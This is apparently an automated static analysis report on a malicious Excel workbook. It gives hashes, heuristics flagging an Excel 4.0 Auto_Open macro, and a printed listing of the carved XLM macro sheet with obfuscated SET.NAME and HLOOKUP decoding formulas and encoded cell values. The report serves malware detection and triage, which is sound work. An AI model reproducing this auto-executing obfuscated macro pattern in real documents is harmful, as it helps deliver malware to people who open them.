Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0497387530bdcf32…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:33 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 1fa5c18c1102afb3582fb2746b5077d8 SHA-1: e53816530ad5ddbf5ec06a1e514648ce60ebdea1 SHA-256: 0497387530bdcf32c8189c2e444bc4fd5f99a677e6004b8bda1967de72264cbe
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6623 bytes
SHA-256: 8bbbfc710ebe9c72316d212c0f09b8088d886dc8ee0d82bc2c652e2f512701d8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Caew
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C146 
' 0018     27 LABEL : Cell Value, String Constant - dGLoRnzHBfNT len=0 
' 0018     25 LABEL : Cell Value, String Constant - DZNSOMaijL len=0 
' 0018     26 LABEL : Cell Value, String Constant - EHVJePOsbuh len=0 
' 0018     23 LABEL : Cell Value, String Constant - FsrGKOWu len=0 
' 0018     25 LABEL : Cell Value, String Constant - gBniDEoigV len=0 
' 0018     23 LABEL : Cell Value, String Constant - goryEHvB len=0 
' 0018     20 LABEL : Cell Value, String Constant - hZUMN len=0 
' 0018     21 LABEL : Cell Value, String Constant - irQMwV len=0 
' 0018     26 LABEL : Cell Value, String Constant - mdpIPKnUJIe len=0 
' 0018     23 LABEL : Cell Value, String Constant - mRfKBEOw len=0 
' 0018     22 LABEL : Cell Value, String Constant - nZtBlZW len=0 
' 0018     23 LABEL : Cell Value, String Constant - OHVbhjTA len=0 
' 0018     21 LABEL : Cell Value, String Constant - QdATUV len=0 
' 0018     24 LABEL : Cell Value, String Constant - QroBHQCIj len=0 
' 0018     23 LABEL : Cell Value, String Constant - rOQtuyEV len=0 
' 0018     22 LABEL : Cell Value, String Constant - WcmdZMp len=0 
' 0018     20 LABEL : Cell Value, String Constant - wvXRv len=0 
' 0018     21 LABEL : Cell Value, String Constant - xCUgiv len=0 
' 0018     25 LABEL : Cell Value, String Constant - XpmSbiBgkS len=0 
' 0018     23 LABEL : Cell Value, String Constant - YtBDfuhR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Caew,C55,"SET.NAME("mdpIPKnUJIe",0+VALUE("0"))",""
'  Caew,C58,"SET.NAME("goryEHvB",mdpIPKnUJIe)",""
'  Caew,C63,"SET.NAME("xCUgiv",mdpIPKnUJIe)",""
'  Caew,C68,"SET.NAME("FsrGKOWu",COUNTA(wvXRv))",""
'  Caew,C73,"SET.NAME("rOQtuyEV",COUNTA(DZNSOMaijL))",""
'  Caew,C77,[],""
'  Caew,P77,"",167.00000000000000000000
'  Caew,P78,"",61.00000000000000000000
'  Caew,P79,"",-419.00000000000000000000
'  Caew,P80,"",257.00000000000000000000
'  Caew,P81,"",-70.00000000000000000000
'  Caew,C82,"SET.NAME("WcmdZMp","")",""
'  Caew,P82,"",578.00000000000000000000
'  Caew,C84,"goryEHvB",""
'  Caew,C86,"SET.NAME("QroBHQCIj",HLOOKUP("*",wvXRv,goryEHvB,FALSE))",""
'  Caew,C89,"hZUMN",""
'  Caew,C91,"SET.NAME("irQMwV",mdpIPKnUJIe)",""
'  Caew,C95,[],""
'  Caew,C97,"irQMwV",""
'  Caew,C102,"gBniDEoigV",""
'  Caew,C105,"nZtBlZW",""
'  Caew,C110,"mRfKBEOw",""
'  Caew,C113,"SET.NAME("YtBDfuhR",VALUE(HLOOKUP("*",DZNSOMaijL,mRfKBEOw,FALSE)))",""
'  Caew,C117,"XpmSbiBgkS",""
'  Caew,C119,"WcmdZMp",""
'  Caew,C123,"xCUgiv",""
'  Caew,C126,NEXT(),""
'  Caew,C131,"OHVbhjTA",""
'  Caew,C134,[],""
'  Caew,C138,"EHVJePOsbuh",""
'  Caew,C140,NEXT(),""
'  Caew,C143,RETURN(),""
'  Caew,C165,"SET.NAME("QdATUV",C55)",""
'  Caew,C170,"wvXRv",""
'  Caew,C175,"SET.NAME("DZNSOMaijL",R49C11)",""
'  Caew,C180,"SET.NAME("EHVJePOsbuh",188)",""
'  Caew,C185,"SET.NAME("dGLoRnzHBfNT",3)",""
'  Caew,C187,QdATUV(),""
'  Caew,C188,HALT(),""

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